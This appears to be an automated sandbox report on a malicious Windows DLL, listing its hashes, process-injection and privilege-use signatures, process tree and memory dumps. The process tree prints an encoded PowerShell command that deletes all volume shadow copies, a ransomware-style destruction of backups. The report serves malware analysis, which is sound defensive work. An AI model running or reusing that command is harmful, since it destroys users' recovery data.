Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-en-20211208 -
submitted
01-02-2022 12:54
Static task
static1
Behavioral task
behavioral1
Sample
60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll
Resource
win10v2004-en-20220112
General
-
Target
60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll
-
Size
164KB
-
MD5
e6e9ceb76b4638e141a968dcac80b341
-
SHA1
8293041a8355432672249a5e4d543adc6c5adba7
-
SHA256
60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b
-
SHA512
98d9fceb4965ccfdbd8524d1d833543440ef044a47dca690ff0a42b6e24d4dc46fea8d6a2cd5d41ee735d10946e714b2c655fe0f27ad000d7b9db8ef06e99eea
Malware Config
Signatures
-
Enumerates connected drives 3 TTPs 24 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
rundll32.exedescription ioc process File opened (read-only) \??\P: rundll32.exe File opened (read-only) \??\R: rundll32.exe File opened (read-only) \??\V: rundll32.exe File opened (read-only) \??\B: rundll32.exe File opened (read-only) \??\E: rundll32.exe File opened (read-only) \??\H: rundll32.exe File opened (read-only) \??\I: rundll32.exe File opened (read-only) \??\N: rundll32.exe File opened (read-only) \??\A: rundll32.exe File opened (read-only) \??\J: rundll32.exe File opened (read-only) \??\Q: rundll32.exe File opened (read-only) \??\W: rundll32.exe File opened (read-only) \??\F: rundll32.exe File opened (read-only) \??\K: rundll32.exe File opened (read-only) \??\L: rundll32.exe File opened (read-only) \??\S: rundll32.exe File opened (read-only) \??\X: rundll32.exe File opened (read-only) \??\Y: rundll32.exe File opened (read-only) \??\Z: rundll32.exe File opened (read-only) \??\G: rundll32.exe File opened (read-only) \??\M: rundll32.exe File opened (read-only) \??\O: rundll32.exe File opened (read-only) \??\T: rundll32.exe File opened (read-only) \??\U: rundll32.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
rundll32.exepowershell.exepid process 1220 rundll32.exe 672 powershell.exe -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
rundll32.exepowershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 1220 rundll32.exe Token: SeDebugPrivilege 672 powershell.exe Token: SeBackupPrivilege 1044 vssvc.exe Token: SeRestorePrivilege 1044 vssvc.exe Token: SeAuditPrivilege 1044 vssvc.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
rundll32.exerundll32.exedescription pid process target process PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1088 wrote to memory of 1220 1088 rundll32.exe rundll32.exe PID 1220 wrote to memory of 672 1220 rundll32.exe powershell.exe PID 1220 wrote to memory of 672 1220 rundll32.exe powershell.exe PID 1220 wrote to memory of 672 1220 rundll32.exe powershell.exe PID 1220 wrote to memory of 672 1220 rundll32.exe powershell.exe
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll,#11⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\60eb2878e6ae481bcc0945d0cfaa8d2b8cca6e576da62804d9081662a0ed372b.dll,#12⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/672-55-0x000007FEFC321000-0x000007FEFC323000-memory.dmpFilesize
8KB
-
memory/672-57-0x0000000002740000-0x0000000002742000-memory.dmpFilesize
8KB
-
memory/672-58-0x0000000002742000-0x0000000002744000-memory.dmpFilesize
8KB
-
memory/672-59-0x0000000002744000-0x0000000002747000-memory.dmpFilesize
12KB
-
memory/672-56-0x000007FEF35B0000-0x000007FEF410D000-memory.dmpFilesize
11.4MB
-
memory/672-60-0x000000000274B000-0x000000000276A000-memory.dmpFilesize
124KB
-
memory/1220-54-0x0000000076C61000-0x0000000076C63000-memory.dmpFilesize
8KB